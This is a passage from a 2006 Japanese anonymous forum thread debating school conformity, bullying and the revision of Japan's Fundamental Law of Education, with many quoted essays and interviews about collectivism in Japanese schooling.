という不条理です。そして、はみ出しを許さない内申書という仕掛けまであります。
学校に「個の尊厳」は皆無であり、重大な人権侵害が行われているのです。

http://blog.mag2.com/m/log/0000116053/90909726?page=1


903 :名無しさんの主張:2006/10/25(水) 09:23:56 ID:???
アホか。人格の完成を目指しているからこそ個々の人格を排除するんだろう。
教育とは人格を作り変えることだぞ。

904 :名無しさんの主張:2006/10/25(水) 23:55:12 ID:???
>>903
だからこそ、教育する者は、その内容に対して責任を持たなければならないわけで。
内容に対する責任意識が希薄だったという点で、ゆとり教育と管理教育は一つ穴のムジナであった。

905 :名無しさんの主張:2006/10/29(日) 13:41:42 ID:+J6nrRjx
これが日教組某県作成の教科書採点表だ
http://www.geocities.co.jp/WallStreet/4759/20010714.html


マルクスの言葉
「青年に対し、祖国の前途に対する希望の灯を奪い、
祖国呪詛(じゅそ)の精神を扶植(ふしょく)することが革命の近道だ。」
日教組は忠実にこれを実践してきたのではないか。
http://homepage1.nifty.com/1010/newpagekakiko.htm



906 :名無しさんの主張:2006/10/29(日) 22:13:11 ID:???
秋山 剛×白水繁彦×渡部 淳 (司会)あわやのぶこ
日本人化を押しつける学校文化

あわや:  このあたりで、子どもが適応していく場の一つである学校の話に入りたいと
思います。先ほどのドロップアウトのお話に続けて、白水先生はどうお感じですか?
白水:  とにかく、日本の学校教育は「日本人になれ」「皆と同じであれ」ということ
を、口では言わないけれども、徹底して教えますね。ある地方の学校に入った外国人の子
どもたちが言うんですよ。「なぜみんな、グリーンで二本ストライプが入ったジャージを
着て学校へ通わなきゃいけないの?」と(笑)。九歳、十歳までそういったことを一度も
やったことがない子どもたちにとっては、そんな日本の学校文化の中にほうり込まれると
いうのは、大変なことなんですよ。
あわや:  日本に生まれ育った日本人だけを考えてみても、小さいときに異年齢の子ど
もたちが一緒に遊ぶということがない。
白水:  学校にとらわれている時間が長過ぎるんですよ。六時間目までやって、クラブ
活動をやって、いつ違う人とつき合うんですか。せいぜい塾へ行って、できる学校から来
た人と一緒になって、おれは意外とできなかったとかとかいうことを確認するぐらいしか
ないでしょ?
 それも受験という目的だけの非常に特殊な状況ですからね。
あわや:  そういう意味では、まず最初の段階で異文化にぶつかり合う機会が少なくなっ
たということなんでしょうかね。
白水:  全員日本人にならなきゃ、みたいなことが幼稚園に入った段階から始まるんで
すよね。外国人の友達が日本に来たときに、幼稚園の運動会に連れていったら、四歳、五
歳児の行進を見て感動してましたよ。「しかも足がそろってる!」って(笑)。次に小学
校へ行ったら、同じ色のブルマー、同じシャツを着たのがさーっと入ってくる(笑)。と
にかく、社会学的に言えることは、そうやって日本人化していくということです。良し悪
しは別として、見事な文化化のシステムなんです。

ttp://www.crn.or.jp/LIBRARY/KODOMO/VOL17/ZADAN.HTM


907 :名無しさんの主張:2006/10/30(月) 18:34:04 ID:???
>>903
それは頭の幼い教師が指揮をとってやることではない。

908 :教育基本法改悪:2006/10/30(月) 19:54:01 ID:???

自民民主の右翼政党は、今度は児童生徒のイジメ自殺を口実に教育基本法を改悪しようとしている。
イジメと天皇万歳愛国心とは関係無いだろw
何でイジメがあると天皇万歳愛国心になっちゃうんだろうw
縄文後期に朝鮮人が日本に侵入して来て以来、強い者には媚び諂い、弱い者をいじめる、それが日本の文化伝統になった。
教育基本法改悪案では、その文化伝統に固執しようと言うのだから、イジメ問題が解決する筈もないw
問題なのは教育基本法が悪いのではなくて、すばらしい教育基本法が実践されてない事にある。
イジメ一つ取っても、"弱い者をいじめてはいけない。弱い者いじめを見付けたら、みんなでやめさせよう" たったこれだけの事を教えていない事が原因。
教育基本法に問題があるのではなくて、道徳教育をしていないことが原因だ。
正しい道徳教育が出来る程人間が成熟した教師がいないことが原因だろう。
教育基本法改悪の前に、教師の道徳教育が必要だと思うぞ。


909 :名無しさんの主張:2006/10/30(月) 21:32:35 ID:???
>教育とは人格を作り変えることだぞ。

せめて社会に出たことがある教師にやって欲しい

910 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/30(月) 22:18:45 ID:g7dLH7bU
>>909
人格は一生変わりませんよ。人それぞれ。

by 昭和48年生まれの32歳。

911 :名無しさんの主張:2006/10/31(火) 00:14:09 ID:???
909だが俺にレスされても

912 :名無しさんの主張:2006/11/15(水) 23:45:36 ID:ED4JBZly
ジョンイル

913 :またまた小選挙区制が悪事を:2006/11/16(木) 00:18:10 ID:???

不公正な選挙制度、小選挙区制で出来た衆院でいよいよ教育基本法改悪案が可決される見込みとなった。

産めよ増やせよで老人の為に子供の乱造を奨励していたのは、実は、兵役人員の確保でもあったw
兵役に素直に従う国民の養成、それが今回の教育基本法改悪の目的だ。

小選挙区制の暴走が続くw
こんな制度に誰がした?


914 :名無しさんの主張:2006/11/18(土) 14:52:38 ID:jHOsKfT8
団塊の世代が管理職になったあと
日本はひどくなっていないか?

バブル崩壊、リストラ、リコール
教育モラルの低下、格差社会、いじめ



915 :セニョール・五十嵐 ◆40WnEtzSeY :2006/11/18(土) 15:02:17 ID:y/VlS/22
あと2-3年で団塊世代は定年退社を迎える。

60過ぎても、金にも汚い、心も汚い、フジテレビの日枝会長のような人間が
現れないことを祈るばかり。

916 :名無しさんの主張:2006/11/18(土) 15:03:15 ID:???
左翼が暴れている。
統制は左翼も同じだろうに。

917 :名無しさんの主張:2006/11/18(土) 15:05:09 ID:???
916 名前: 名無しさんの主張 [age] 投稿日: 2006/11/18(土) 15:03:15 ID:???
魔女が暴れている。
統制は魔女も同じだろうに。

918 :名無しさんの主張:2006/11/19(日) 02:16:21 ID:???
国の医療費 の 問題点 は 医者の高給
1713万円 ★勤務医20年目平均
1572万円 ★勤務医15年目平均
1494万円 ★自治体病院医師38歳(平成16年総務省)
1450万円 三菱商事管理職40才('99 週刊現代)
1429万円 ★勤務医10年目平均
1379万円 電通40歳('05ヤフーファイナンス)
1232万円 国T官庁課長42歳('04 週刊朝日)
1229万円 ☆三井物産41歳('05ヤフーファイナンス)
1106万円 ☆三井住友ファイナンシャルグループ39歳('05ヤフーファイナンス)
1190万円 ★勤務医5年目平均
1076万円 ☆東京三菱ファイナンシャルグループ39歳(''05ヤフーファイナンス)
1041万円 ☆三井不動産38才(2000年週刊ダイヤモンド)
1018万円 ☆エーザイ41才('00/12/16 週刊ダイヤモンド)
987万円 ☆みずほファイナンシャルグループ41歳('05ヤフーファイナンス)
978万円 ☆武田薬品44才(00/12/16 週刊ダイヤモンド)



そして医者はこんなに貰ってるにも関わらず、おまえらの税金で・・・


県立病院の常勤医師の給与を引き上げへ


 県は県立病院の常勤医師の確保に向け、給与を引き上げる方向で検討に入る。医師不足が
深刻化していること への対応で、処遇改善を図って医師の囲い込みを目指す。3日の9月県議
会一般質問で、秋山時夫病院局長が答 えた。

http://www.fukushima-minpo.co.jp/news/kennai/20061004/kennai-20061004113221.html
もう最高w


919 :名無しさんの主張:2006/11/19(日) 12:14:13 ID:???
『仲間イデオロギー』、「みんな一緒」ほど息苦しいことはないのだ…日経新聞

 演出家の宮本亜門さんが、自らの引きこもり体験を振り返りながら
語っている。「学校は社会に適応する訓練の場ではなく、自分で考え、
成長できるところであってほしい」(15日付本紙夕刊「人間発見」)。
胸にコツンと響く言葉だ。

▼高2のころ、宮本さんは自宅の部屋に閉じこもって片っ端からレコード
を聴き、感動して涙を流していた。それは「自分で考えるための休み」で
あり、1年後に登校を再開すると演劇部に入って大活躍。卒業式で答辞
を読むまでになった。人と違っていることを認め、自信を与えてくれた
学校があり、教師がいた。

▼相通じる意見を数学者の森毅さんからうかがったことがある。「みんな
一緒に、という『仲間イデオロギー』が曲者(くせもの)なんや。いじめ問題
なんかここから出てくる」。同質の文化だけでまとまるのは高度成長期
までの発想なのに、相変わらず学校は標準化志向。妙な協調性ばかり
大事にするから軋(きし)みが生じるのだと。

▼いま「教育非常事態」だという。たしかに深刻なありさまだが、だからと
いって全国の学校を護送船団方式で管理しようというのでは、はみ出し者
はますます居場所を失ってしまう。「みんな一緒」ほど息苦しいことはないのだ。
参院での教育基本法改正案の審議で、こんな議論が戦わされる余地は
ないようだが。

ソース(日経新聞・春秋) http://www.nikkei.co.jp/news/shasetsu/20061118MS3M1800K18112006.html


920 :名無しさんの主張:2006/11/21(火) 22:55:18 ID:???
仲良し組み

921 :名無しさんの主張:2006/11/25(土) 21:18:31 ID:???
留学生の眼(64) 花見  文・写真 アクバル モハメド アリ

 日本民族の、団結と集団性の強さは、桜の花にも通じると思います。五年間の
間にたくさんの日本人と知り合いになり、非常に楽しかったですが、特に楽しかった
のは、満開の桜の「花見」です。
 四月には、南から北まで桜の花が咲きます。桜の木の下で、音楽を流し踊ったり
歌ったりする日本人がたくさんいることに驚きました。なぜ桜の花が、たくさんの
日本人の心を打つのでしょうか。
 もちろん、昔から桜が日本を代表する花であるから、と考えられますが、桜の
花は一緒に咲き、一緒に散ります。それは、日本民族の団結と集団性を表わす
のではないでしょうか。その精神こそが、日本をここまでの経済大国にさせた
源泉ではないかと私は考えています。また、その団結と集団性は、日本民族の
もっとも優れてるところではないでしょうか。
 しかし、この精神には弱い面もあると思います。それは個人の独創力を発揮
する余地が、少ししかないことです。日本では、努力すれば誰でもできるという
ことがありますから、全体的な学校教育は世界でも一流になってきました。
これは事実です。その反面、日本で個性というもの、独創力というものはあまり
認められていないのではないかと思います。
 また日本の学校でのいじめ、それと子供の自殺率が年々増加しつつあることも、
大きな社会問題になっています。自殺を選ぶ子供たちは、この社会の中での
チームワーク、みんな一緒でなければならないこと、めだってはいけないということに
うまく合わせていけない子供なのではないでしょうか。
 このように、一見協調性があり効率に優れているように見える日本独特の
団結と集団性の中には、大きな弱い面も隠されているのではないかと思います。
 これまでの日本は集団と団結によって発展してきました。しかしこれからは、
個人の独創力、個性を生かしながら、世界へ飛躍していくことがこれからの
日本の新たなテーマとなるのではないでしょうか。

http://home.hiroshima-u.ac.jp/forum/30-2/me.html


922 :名無しさんの主張:2006/11/26(日) 22:16:19 ID:n7VcRWdj
宣伝です。12月2日(土)午後2時から、渋谷区立中央図書館で
講演会「手塚治虫の残したものと現代」が催されます。講師は漫画
評論家の石子順氏。先着順で入場無料です。手塚漫画は現代にどん
な影響を与えたのか。先日のNHKスペシャルでもやってましたね。
そうだ。申し込みはрO3−3403−2591まで。

923 :名無しさんの主張:2006/12/03(日) 20:56:02 ID:???
エッセイ:「デンマークでの経験とラーンネット設立まで」  上

○デンマークの豊かな生活

 デンマークには受験戦争も塾もありません。皆が自然とふれあいながら
伸び伸びと生活しています。仕事の面でもほとんどの人は午前8時から午後
4時で仕事を終え、その後は家族とのんびり過ごしたり、日の長い夏は外や
サッカー、コンサートに出かけたりします。ゴルフのラウンドも出来ます。
夏休みはたっぷり1ヶ月とります。
だからといって日本に比べて仕事の面で劣っていると言うことは全くありま
せん。デンマークは日本に対して貿易黒字です。また、一緒に仕事をした人
々も大変優秀で、特に英語でも自国語でもその高いコミュニケーション能力
には目を見張りました。議論も上手で結論が早くでるので、仕事も速く終わ
るのです。
 なぜ、こんなにも違うのか不思議に思い、いろいろ尋ねてみたところ、子
供の頃の教育に原因があることが分かってきました。


924 :名無しさんの主張:2006/12/03(日) 20:57:56 ID:???
エッセイ:「デンマークでの経験とラーンネット設立まで」  中

○デンマークの教育

 デンマークでは子供の頃から、一人一人が自分の意見を持ち、それを表現
すること、また、人の意見を尊重することを学びます。また議論をぶつけ合っ
た上で、みんなで決めたことにはきちんと従います。こういったことが日常
の学校の授業で行われているのです。学校のシステムも大変柔軟です。学校
を自由に選択出来るし、誰でも自由に学校が作れる。またその学校に対して
公的補助が与えられます。これにより、幅広い学校の選択肢があります。例
えば校舎がなく、毎日アウトドアで過ごす学校もあります。子供は多様な選
択肢の中から自分にあった教育を選ぶことが出来ます。また、中学3年の頃、
高校3年の頃には、知育をせず、旅行などをして自分を見つめ直す、モラト
リアム的な期間を過ごすことも選択できます。高卒で就職し、経験を積んだ
上で大学に行くことも多いです。要するに決まり切ったパターンがあるわけ
でなく、自分の興味に応じた教育を受けることが出来るわけです。私の娘も
デンマークでモンテッソーリ教育を受けましたが、少人数のこじんまりした
学校で、一人一人の個性を尊重し、能力を伸ばしてくれる教育は初めての経
験であり、大変感動しました。


925 :普通の人@オナニーサルの大行進だな:2006/12/03(日) 20:59:32 ID:???
>>1
>集団・全体・封建主義的体質が目立つ日本の教育

チョンサルは日本をそのまま自国に見立てれば批判になるんだから
情報工作も楽だよな

926 :名無しさんの主張:2006/12/03(日) 21:00:44 ID:???
エッセイ:「デンマークでの経験とラーンネット設立まで」  下

○日本に帰って
 こういうデンマークでの体験の後、日本に帰り、娘を入れる幼稚園、小学
校を探しましたが、いいところがなく、愕然としました。 まず近所の幼稚
園を見学し、教室の後ろに飾られている絵を見たところ全員が全く同じ構図、
同じ色使いなのです。先生が一生懸命指導したのでしょう。本来子供は一人
一人表現したいことが違うはずなのに、皆同じ枠にはめられてしまうのです。
小学校でも全員が全く同じことを同じペースで学ぶ事が求められます。そ
の結果、自分の得意な分野では退屈し、苦手な分野ではついていけないとい
う問題が必ず起こります。また先生に教えられることに疑問を持つことは奨
励されず、そのまま受け入れることが求められます。その結果質問をしない、
何事にも疑問を持たない素直な子がいい子とされ、問題意識のある子はうる
さい子ということになります。 また、なんでも先生のいうとおりにするこ
とに慣れ、自分で考えない、決めない、また責任もとらない人間になってし
まいます。高度成長時代でいわれたとおりやっていれば何とかなった時代で
はこれでもうまくいったのでしょうが、現在のように世界が急激に変化し、
判断力が求められる時代では、これでは大変苦労することになります。 結
局迷ったあげく娘はインターナショナルスクールに入れることにしたのです
が、大変悔しい思いでした。日本人なのに日本に入れたい学校がないなんて
なんということだ。こうなったら自分で作るしかない、と感じました。

http://www.l-net.com/tshp/essey01.htm


927 :名無しさんの主張:2006/12/03(日) 21:14:47 ID:tUlOMK2D
だって、皆で決めた事を教員がやぶってるんだもんw
量産型しか作れない組立工みたいな教員の癖によw

馬鹿日教組が居なくなればもっと日本の教育はよくなるって事だな。


928 :名無し:2006/12/03(日) 22:50:29 ID:ecUg+f91
世界の社会は、大きく分けて、制約や束縛の大きい、
成員締め上げのきつい (tight)社会と、ゆるい、リ
ラックスした(loose、relaxed)社会があると考えら
れる。
日本社会は、どちらかと言えば、明らかに「きつい」
タイプの社会であると言える。
日本の学校や、官庁、企業においては、部下や生徒を
きつく締め上げるほど、 よい成果を出す、よい仕事
をすると考える風潮がある。 日本社会では、部下や
生徒に対して、制約、制限をきつくするとか、何かと
うるさく、うっとうしく命令、 干渉を加えるといった
ような、厳しい規律が支配する組織が幅を利かせている。
こうした「軍隊型」の社会は、軍隊以外の学校、企業、
官庁で普通に見られる。
例えば、生徒の細々とした日常生活まで立ち入って規制
するのが日本の学校の 校則である。
日本人は、干渉、束縛への指向が強い、「きつい」「軍隊
のような厳しい 規律が好きな」人が多いと言える。
相手のことを、叱って萎縮させたり、いじめたり、きっ
り管理、訓練、叩き上げ、 拘束、搾取することが望ま
しいと考えられている。
相手を遊びや逃げ場がなくなるようにきっちり管理する
ことが良いことだと考えられ、
「自由は悪、規制が善」「余裕、ゆとりは悪、締め上げ、
締め付けが善」と考えられている。
例えば、文部科学省の唱えた「ゆとり教育」に対して、
財界から強い不満が出たのも、 きつきつに子供や部下
を縛らないと勉強しないとか、子供や部下を遊ばせて
いては 駄目という考えが根底にある。


929 :名無しさんの主張:2006/12/04(月) 00:12:32 ID:???
>>928
北朝鮮社会と似ているね。

930 :セニョール・五十嵐 ◆40WnEtzSeY :2006/12/04(月) 01:01:23 ID:qpebZM9G
アホか?
日本の教育はまったくきつくありません。

僕は、団塊ジュニアの昭和48年生まれなので、受験戦争の過渡期にちゃんと
偏差値70以上の関西学院大学に入りましたので。

ゆとりの対象が、労働ではなくて、教育だったことがそもそも間違いなんです。

人生は「一生勉強」なのです。ですから、生涯学習の充実のためにも、労働にはしっかりゆとりを
持たせ、生涯学習の一環としてバカンスや旅行休暇は必要なのです。

931 :名無しさんの主張:2006/12/04(月) 22:52:47 ID:???
GP連覇セーム・シュルトに単独インタビュー=K−1
シュルトは日本のいじめ問題にも言及、「違うグループ、場所へ抜け出す勇気も必要。
それは“逃げ”ではなく“戦う”方法の一つ」と語った【 スポーツナビ 】

――シュルト選手は小さい頃から体が大きかったとお聞きします。日本では現在いじめが
深刻な問題になっているのですが、周りと異なる容姿を持つことでいじめを受けることは
ありませんでしたか?

 私は極端に大きかったので、そのせいで恐れられいじめがなかったのかもしれません。
 日本でいじめが問題になっていることは、とても悲しく思います。日本の社会システムは特殊で、
私も理解が十分でないところがあります。ただ、大人も子どもも真面目に過ぎるあまり、
自分の属しているグループが世界の全てのような気になり、すごく狭い社会の中で生きている
のではないかと思います。そして、もしその中でいじめにあったとしたら、それはとてもツラい
ことです。他の世界を知っていれば逃げようもあるでしょうが、狭い中でしか生きてないと
逃げ道がないと思ってしまう。ですから生真面目に過ぎずリラックスすべきだし、視野を広げ
行動範囲を広げることで新しい方向性が見つかるんじゃないかと思います。

――2連覇を達成したシュルト選手はこれからK−1を担っていく存在です。そんな
シュルト選手から何かアドバイス・メッセージはありますか。

 もしグループの中でいじめを受けたら、そこから抜け出す勇気を持つべきです。いじめを
加える人たちはあなたを好きでないのだから、こちらも無理して好きになる必要はありません。
違うグループ、違う場所へ抜け出す勇気を持ってもらいたいと思います。

――グループから抜け出すことは、何か“逃げる”ような気がしてあまりよくないイメージを
抱いたりするのですが、そんな必要はないと。

 グループから抜け出すのは“逃げ”ではなく、“戦う”方法の1つだと思ってほしい。
あと子どものいじめに関してはきっと信号を発しているはずだから、親や教師、大人たちが
それを汲み取ってあげなければいけないと思います。

http://sportsnavi.yahoo.co.jp/fight/k1/column/200612/at00011514.html

932 :名無しさんの主張:2006/12/05(火) 06:09:25 ID:???
>>931
>ただ、大人も子どもも真面目に過ぎるあまり、自分の属しているグループが世界の全てのような気になり、
>すごく狭い社会の中で生きている のではないかと思います。

>他の世界を知っていれば逃げようもあるでしょうが、狭い中でしか生きてないと逃げ道がないと思ってしまう。

>ですから生真面目に過ぎずリラックスすべきだし、視野を広げ行動範囲を広げることで新しい方向性が見つかるんじゃないかと思います。

全くその通りだ。
非常に的を射ている。

日本人の視野は狭い。

933 :名無しさんの主張:2006/12/05(火) 22:13:12 ID:XQpk16Iy
「教育の論理はまさしくストーカーの論理です」by内藤朝雄

http://www.amazon.co.jp/gp/product/4760120882
http://www.amazon.co.jp/gp/product/4876721041/

「本来子どもたちは学校を愛しているはずです。
 学校という共同体の中にあってこそ、子どもたちは至高の喜びを感じるはずなのです。
 それなのに、今子どもたちは学校を全然愛そうとはしていません。これはどうしたことでしょう。
 これはゆきすぎた経済の論理が子どもたちを堕落させているからだと思うのです。
 消費社会の欺瞞が、子どもたちを学校から遠ざけているのです。わたしは社会に怒りを感じます。
 消費社会のめくらましから切り離すことができれば、子どもたちは自発的に学校を愛するようになるでしょう。
 学校の中で友だちと共に学び共に育つことこそ子どもたちが本来あるべき姿なのです。」

「本来彼女は僕のことを愛しているはずだ。僕との理想の愛を生きてこそ、彼女の本当の幸せがあるのだ。
 それなのに、彼女は僕を全然愛そうとはしないじゃないか。これはどうしたことだ。
 あの男が彼女を堕落させているんだ。あの男のうわべだけの優しさが彼女を真の愛から遠ざけているんだ。
 あの男が憎い。あの男さえいなくなれば、彼女は自発的に僕を愛するようになるだろう。
 僕の部屋の中で僕と一緒に熱い愛をはぐくむことこそ彼女の本来あるべき姿なのだ。」

934 :名無しさんの主張:2006/12/07(木) 13:48:33 ID:vta4mljV
日本に民主主義は不要

935 :名無しさんの主張:2006/12/09(土) 00:30:05 ID:oOSUqgfW
日本は北朝鮮と同レベル。

936 :名無しさんの主張:2006/12/09(土) 18:52:57 ID:???
>セーム・シュルト
この人は大会中だけ日本にいたの? それとも日本でトレーニングしてるの?
それにしても凄い洞察力だな。

937 :名無しさんの主張:2006/12/11(月) 23:03:23 ID:???
どうすれば日本人の仲間に入れるのか? 1
---HowtomakefriendwithJapanese? 農学部 王政

私たちにとって友達がとても重要です。特に外国へ留学に行く時、その国で自分の
友達を持つのはとても重要です。私は中国からの留学生ですからここで「どうすれば
日本人の仲間に入れるのか?」について皆に紹介したいです。

日本人の特徴としてよく言われるのは、集団主義的な行動や思考です。つまり
個人意識が弱く、集団で行動し、集団的に思考する傾向が強いということです。
例えば皆で食事に行く時、日本人の場合は皆同じなものを注文する傾向が強いです。
皆がカレーを食べようとしている時に「私はそばがいい」と言い出す人はあまりいません。
自己主張せず、和を大事にします。自分の責任で行動しようとせず、人の言いなりに
なることも多いです。個人は独立しているという意識が弱いので、他人におせっかいを
することも多いです。皆と違う仲間外れが怖いということです。


938 :名無しさんの主張:2006/12/11(月) 23:05:16 ID:???
どうすれば日本人の仲間に入れるのか? 2

・―――【日本人の友達へのインタビューから】
日本で友達を作る、これはきっと留学生だけではなく言葉の心配の全くいらない、
日本人にとってもなかなか難しいと思う。現代の日本はとかく閉鎖的である。一昔前の
日本であれば小・中学生であれば誰とでも遊ぶであろうし、高校・大学生では、だれかれ
関係なく話をする。しかしながら現在の日本では、事情が異なる。学校では小学生の
頃から生徒達は自分達の「グループ」を作り始める。その「グループ」は、たいてい
年度替りのクラス替えと同時に大体決まり、1年間変わることがない。この傾向は
日本全国の小・中・高校のクラスでみられると思う。なぜ日本の子供達はこの様に
「グループ化」してしまうのだろうか。

大きな原因は、子供達の「孤独を恐れる気持ち」にあると思う。子供は、クラスの中で
一人でいることを恐れる。小・中・高校のクラスというのは非常に閉鎖的で、クラス外に
気の合う友達がいたとしても常に仲良くするというのは難しい。なぜならすべての授業は
クラス単位で行われ、給食・清掃といった授業以外の生活まで生徒達は一つのクラス
という単位で行動しなければならない。クラスは、一つの生活圏であり、常にその狭い範囲で
生活しなければならない。そうすると、生徒達は互いに観察する様になる。常に同じ
生活圏で暮らす彼らは、互いの事をよく見ることになる。すると、一人でいるということが、
非常に辛い事になる。クラスという閉鎖的な空間、それが1年間続くという状況がなければ、
気が合う人がいない者は、一人で本を読んでいたって、いつも一人でいたって平気なはずである。
しかし日本のクラス制度はそれを許さない。子供達は幼い頃から「一人でいたら他人から
どう思われるだろう」と恐れる。その結果、必ずやどこかのグループに属さなければいけない
と考えてしまう。

939 :名無しさんの主張:2006/12/11(月) 23:08:25 ID:???
どうすれば日本人の仲間に入れるのか? 3

私は日本の学校の友好関係は、この「グループ化」に象徴されると思う。しかし、
友達のグループに属し皆と仲良く楽しそうにやっている風に見える子でも、実際には
そんなに気が合わないと思っている場合が多いと思う。他のグループにはなかなか
移りにくいから、又は「もしグループの子に嫌われたら一人になってしまうから」、などと
考えている子は見かけからは分からないが、意外にも多いはずだと思う。

まとめると、日本人の仲間意識は仲間はずれになることを恐れるが故に常にグループに属し、
自分の居場所を確保しようとする。実際には自分の友好関係に満足している人が多いとは
考えにくい。

日本の仲間作りと中国の仲間作りは違うところがあります。日本の社会ではホンネと
タテマエを使い分ける人が多いです。もちろんどこの国でも原則があって、それに対する
例外は存在します。日本の場合にはホンネは人にわからないように隠してしまって、
タテマエを表看板として押し通してしまいました。しかしこういうやり方は悪い意味がありません。

http://comm.hum.ibaraki.ac.jp/ibunka/2004/32/index.htm


940 :教育基本法改悪:2006/12/14(木) 20:20:03 ID:???

教育基本法を巡るタウンミーティングで改悪に都合が良いヤラセ質問をさせて
世論操作をしていたことが発覚したが、経費が水増しされ裏金が作られていたことも明らかとなった。
ヤラセ質問の様に不正が行われる時には、決まって公金横領や裏金作りがされる。
不正を知っている者がドサクサ紛れに上が悪い事をしているから自分もやっても大丈夫だろうと言う
考えから経費の水増し、架空請求をして横領を働くのだろう。
同時に、ヤラセ発言者への謝礼を捻出する為に裏金が作られる。
ヤラセ発言、公金横領、裏金作りと言った不正によって改悪された教育基本法は、不正そのものな訳だが、
その不正によって教育される子供達は正に不正の産物そのものだ。
そうしてこの国は上から下まで不正に満ちた国になって行く。

日本、終わったなw


安倍首相は、その責任の取り方として自分の給料を3ヶ月分返納するそうだが、
一国の行く末に関する不正に一個人が僅かな額を返納して済む話じゃないだろう。
それもまた誤魔化しだね。


941 :名無しさんの主張:2006/12/15(金) 22:59:32 ID:???
国家の事なんてどうでもいいよと思っていられる内が花だなw

教育基本法改悪→国民投票法→憲法改悪→自衛隊合憲→徴兵制

これセットだからw

その内、嫌でも赤紙来るよ。


942 :名無しさんの主張:2006/12/15(金) 23:23:55 ID:???
教育基本法改悪案が参院を通過し成立したが、
決め手はやはり、裏切り者集団の自民クローンである民主党の
援護射撃だったw

社民共産が問責決議案を出して牛歩戦術に出ようとしたが、民主が自民に寝返る。
それであっさり可決w


943 :名無しさんの主張:2006/12/17(日) 07:40:46 ID:???
age

944 :名無しさんの主張:2006/12/17(日) 09:06:37 ID:???
獅子心中の虫と言う言葉があるが、野党の中に自民党のスパイが御万と居るんだからしょうがないよな。
野党ズラして、実は、自民と通じている。


945 :名無しさんの主張:2006/12/17(日) 10:09:50 ID:???
age

946 :名無しさんの主張:2006/12/23(土) 14:26:09 ID:???
    「エネルギーレベル」の活用

 エネルギーレベルは生まれつきのもので、その差は小さな子どもでも顕著だ。エネルギーレベルの
高い幼稚園児は好奇心が旺盛で、あれこれ新しいことを勉強するのが意外に好きである。
エネルギーレベルの低い子の場合、その親はいくら努力して、素晴らしい学習環境を整えても、
ほとんど無駄である。
 たとえ音楽が随一の才能に恵まれていても日々練習しないかぎり演奏家になれないように、
エネルギーレベルの低い子どもは何をやっても結局伸びないのだ。この問題に苦しんでいる
欧米の知り合いが何人もいる。
 この点では日本の状況の方がずっとましである。子供だけではなく、年配の方々までエネルギーが
みなぎっている。全国で講演会を行っているとき、話を熱中して聞いている、六、七十歳の人たちが多い。
 日本の問題はその間、つまり六才と六十歳の間の年齢層である。その時まで楽しく学習してきた
子供は小学生になると突然、勉強がつまらなくなる。原因はもちろん、日本の集団生活を重んじる
学校制度にある。ランドセルや通学路をはじめ、全てがきめ細かく決められ、しかも学校で過ごす
時間も欧米より長い。
 子供の個性と一緒に、その興味や好奇心も打ち殺されていく。明治時代の遺産であるこの
軍隊主義教育の結果、高校卒業の時には既に、型にはまった人間ができあがっている。このような、
命令にめったに逆らわない人材は確かに、企業にとっては扱いやすい。
 本人にとっても自分の側に責任を感じる必要がほとんどないから楽かもしれない。しかし外から
見て、そんな人生は面白くない。二十一世紀に向けて教育制度を自由にして、日本人の高い
エネルギーレベルを元に勉強が楽しくて仕方がない新時代を育てて欲しい。

ピーター・フランクル著 「よいニッポン だめなニッポン」 扶桑社 1998年刊 より


947 :名無しさんの主張:2006/12/29(金) 15:06:51 ID:j9jtlmQb
もう徴兵制もないんだから義務教育なんかイランだろう
親が責任を持って育てられる子だけを教育すれば いいんじゃないか 
昔はみんなそうだったんだから。

948 :名無しさんの主張:2006/12/29(金) 15:08:47 ID:???
http://www.geocities.jp/hikovent/aoitori/columu/c-gimu.htm

義務教育とは小学校6年間+中学校3年間、計9年間の事を示します。
国民は自由という権利を持っていると同時に義務を課せられています。
職業選択の自由や社会的生活を営む権利を持っていると同時に
「仕事について働く義務」(勤労の義務 日本国憲法:第27条)
「税金を納める義務」(納税の義務 日本国憲法:第30条)
「子供に教育を受けさせる義務」(教育の義務 日本国憲法:第26条)
等の国民の三大義務を始めいろいろな義務があります。
そして、国民三大義務の内の1つ「子供に教育を受けさせる義務」というのが
義務教育の事です。
・すべての国民は、法律の定まる所により、その能力の応じて、
 等しく教育を受ける権利を有する。
・すべての国民は、法律の定める事ろにより、その保護する子女に
 普通教育を受けさせる義務を負う。義務教育は、これを無償とする。
 (日本国憲法:第26条の第1項、第2項)
・国民は、その保護する子女に、9年の普通教育を受けさせる義務を負う。
 (教育基本法:第4条)
勘違いしてはイケナイのが
義務教育の義務とは

子供が教育を受ける義務では無くて
大人が子供に教育を受けさせる義務

という事です。

949 :名無しさんの主張:2006/12/29(金) 16:05:48 ID:j9jtlmQb
国がわざわざ子供に教育環境和整えなくとも
子供には親とその周辺が社会を維持していくために教育を考えれればいい訳だ。
昔は兵隊としての最低レヴェルを確保する必要から義務教育が存在すればよかったわけだ。
だから現在国家による義務教育は不要となった。
本来の社会の発展には現在の教育体制は足かせでしかない。

950 :名無しさんの主張:2006/12/30(土) 18:51:16 ID:???
サリタのヒーリングジャーニー 上

あこがれの日本へ…でも嫌な予感が…

  ところが、私が10歳になったとき、父の仕事の関係で日本に帰ることになりました。
あれほどあこがれていた日本、そこへいざ帰るってなったら、嫌な予感がしてね、日本に
帰りたくないって、泣いたんだけど…。何か胸騒ぎに近いような不安を感じて、アメリカに
残りたいと命がけでダダをこねる自分がいました。両親に、「すぐにアメリカに戻るんだから」と、
「ちょっとの間だから」と説得され、半分騙し騙しのカッコウで、日本に帰りました。
でも、やっぱりその不安が的中してしまいました。

日本でいじめに直面

  日本に帰って、奈良の田舎のまったく普通の小学校に通いはじめました。が、そこで
日本によくある陰湿でしかも巧妙ないじめに直面しました。昨日の友は今日の敵、みたいな
いじめ方で、さっきまで気持ちが悪いほど優しかった友達がクラスの女王だか大将だかの
命令でいきなり「大嫌い、死ね」とか殺人的な勢いでけなすんです。もうそれはサイコの
サスペンス映画も色あせるほど右を向いても左を向いて真っ暗、悪夢のような日々でした。
クラスの中に王国が出来あがっていて、その厳しいルールにそむいたら自分達も生きて
いけないと思うからみんな盲目的にそのクラスのリーダーに服従するんですね、もう恐怖から。
友達が好きだから一緒にいるんじゃなく、そうしないと排除されてしまうから。誰でもいい、
ふりでもいい、一緒にいて、でないといじめられる。これは牢獄の中の社会と一緒なんですね。
私はそのルールの基本も分かってなかったから、異端者として標的にされました。無視され
騙され笑われ石を投げられ。それもあからさまにではなく、先生や他の生徒がいない時に。
アメリカの学校ではこんなに出来あがったいじめのシステムみたいのはなかった。というか
いじめを必要としているシステムといえます、日本の学校って。

